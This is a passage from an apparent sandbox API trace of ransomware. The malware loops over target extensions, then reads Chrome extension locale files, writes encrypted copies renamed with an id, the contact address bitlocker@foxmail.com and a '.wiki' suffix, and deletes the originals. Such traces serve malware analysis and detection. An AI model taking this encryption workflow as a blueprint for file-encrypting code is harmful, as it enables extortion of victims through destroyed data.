halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json")) returned 1 [0176.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.548] lstrlenW (lpString=".doc") returned 4 [0176.548] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.548] lstrlenW (lpString=".docx") returned 5 [0176.548] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.548] lstrlenW (lpString=".pdf") returned 4 [0176.548] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.548] lstrlenW (lpString=".xls") returned 4 [0176.548] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.548] lstrlenW (lpString=".xlsx") returned 5 [0176.548] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.549] lstrlenW (lpString=".ppt") returned 4 [0176.549] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.549] lstrlenW (lpString=".zip") returned 4 [0176.549] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.549] lstrlenW (lpString=".rar") returned 4 [0176.549] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.549] lstrlenW (lpString=".bz2") returned 4 [0176.549] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.549] lstrlenW (lpString=".7z") returned 3 [0176.549] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.549] lstrlenW (lpString=".dbf") returned 4 [0176.549] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.549] lstrlenW (lpString=".1cd") returned 4 [0176.549] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.549] lstrlenW (lpString=".jpg") returned 4 [0176.549] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.549] lstrlenW (lpString=".doc") returned 4 [0176.549] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.549] lstrlenW (lpString=".docx") returned 5 [0176.549] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.549] lstrlenW (lpString=".pdf") returned 4 [0176.550] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.550] lstrlenW (lpString=".xls") returned 4 [0176.550] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.550] lstrlenW (lpString=".xlsx") returned 5 [0176.550] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.550] lstrlenW (lpString=".ppt") returned 4 [0176.550] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.550] lstrlenW (lpString=".zip") returned 4 [0176.550] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.550] lstrlenW (lpString=".rar") returned 4 [0176.550] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.550] lstrlenW (lpString=".bz2") returned 4 [0176.550] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.550] lstrlenW (lpString=".7z") returned 3 [0176.550] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.550] lstrlenW (lpString=".dbf") returned 4 [0176.550] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.550] lstrlenW (lpString=".1cd") returned 4 [0176.550] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 151 [0176.550] lstrlenW (lpString=".jpg") returned 4 [0176.550] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.550] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.551] lstrlenW (lpString="messages.json") returned 13 [0176.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.551] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=183) returned 1 [0176.551] CloseHandle (hObject=0x19c) returned 1 [0176.551] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json")) returned 0x2020 [0176.551] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.551] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.552] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.552] GetLastError () returned 0x0 [0176.552] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb7, lpOverlapped=0x0) returned 1 [0176.698] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0176.698] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.699] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.699] SetEndOfFile (hFile=0x2dc) returned 1 [0176.699] CloseHandle (hObject=0x2dc) returned 1 [0176.699] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.699] SetEndOfFile (hFile=0x19c) returned 1 [0176.700] CloseHandle (hObject=0x19c) returned 1 [0176.700] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.701] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json")) returned 1 [0176.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.701] lstrlenW (lpString=".doc") returned 4 [0176.701] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.701] lstrlenW (lpString=".docx") returned 5 [0176.701] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.701] lstrlenW (lpString=".pdf") returned 4 [0176.701] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.701] lstrlenW (lpString=".xls") returned 4 [0176.701] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.701] lstrlenW (lpString=".xlsx") returned 5 [0176.701] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.701] lstrlenW (lpString=".ppt") returned 4 [0176.701] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.702] lstrlenW (lpString=".zip") returned 4 [0176.702] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.702] lstrlenW (lpString=".rar") returned 4 [0176.702] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.702] lstrlenW (lpString=".bz2") returned 4 [0176.702] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.702] lstrlenW (lpString=".7z") returned 3 [0176.702] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.702] lstrlenW (lpString=".dbf") returned 4 [0176.702] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.702] lstrlenW (lpString=".1cd") returned 4 [0176.702] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.702] lstrlenW (lpString=".jpg") returned 4 [0176.702] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.702] lstrlenW (lpString=".doc") returned 4 [0176.702] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.702] lstrlenW (lpString=".docx") returned 5 [0176.702] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.702] lstrlenW (lpString=".pdf") returned 4 [0176.702] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.702] lstrlenW (lpString=".xls") returned 4 [0176.703] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.703] lstrlenW (lpString=".xlsx") returned 5 [0176.703] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.703] lstrlenW (lpString=".ppt") returned 4 [0176.703] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.703] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.703] lstrlenW (lpString=".zip") returned 4 [0176.703] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.703] lstrlenW (lpString=".rar") returned 4 [0176.703] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.703] lstrlenW (lpString=".bz2") returned 4 [0176.703] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.703] lstrlenW (lpString=".7z") returned 3 [0176.703] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.703] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.703] lstrlenW (lpString=".dbf") returned 4 [0176.703] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.703] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.703] lstrlenW (lpString=".1cd") returned 4 [0176.703] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.703] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 151 [0176.703] lstrlenW (lpString=".jpg") returned 4 [0176.703] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.703] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.704] lstrlenW (lpString="messages.json") returned 13 [0176.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.704] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=286) returned 1 [0176.704] CloseHandle (hObject=0x19c) returned 1 [0176.704] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json")) returned 0x2020 [0176.705] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.705] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.705] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.705] GetLastError () returned 0x0 [0176.705] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x11e, lpOverlapped=0x0) returned 1 [0176.706] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x120, lpOverlapped=0x0) returned 1 [0176.707] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.707] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.708] SetEndOfFile (hFile=0x2dc) returned 1 [0176.708] CloseHandle (hObject=0x2dc) returned 1 [0176.708] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.708] SetEndOfFile (hFile=0x19c) returned 1 [0176.709] CloseHandle (hObject=0x19c) returned 1 [0176.709] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.709] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json")) returned 1 [0176.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.709] lstrlenW (lpString=".doc") returned 4 [0176.709] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.709] lstrlenW (lpString=".docx") returned 5 [0176.709] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.709] lstrlenW (lpString=".pdf") returned 4 [0176.709] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.709] lstrlenW (lpString=".xls") returned 4 [0176.709] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.709] lstrlenW (lpString=".xlsx") returned 5 [0176.709] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.709] lstrlenW (lpString=".ppt") returned 4 [0176.709] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.709] lstrlenW (lpString=".zip") returned 4 [0176.709] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.710] lstrlenW (lpString=".rar") returned 4 [0176.710] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.710] lstrlenW (lpString=".bz2") returned 4 [0176.710] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.710] lstrlenW (lpString=".7z") returned 3 [0176.710] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.710] lstrlenW (lpString=".dbf") returned 4 [0176.710] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.710] lstrlenW (lpString=".1cd") returned 4 [0176.710] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.710] lstrlenW (lpString=".jpg") returned 4 [0176.710] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.710] lstrlenW (lpString=".doc") 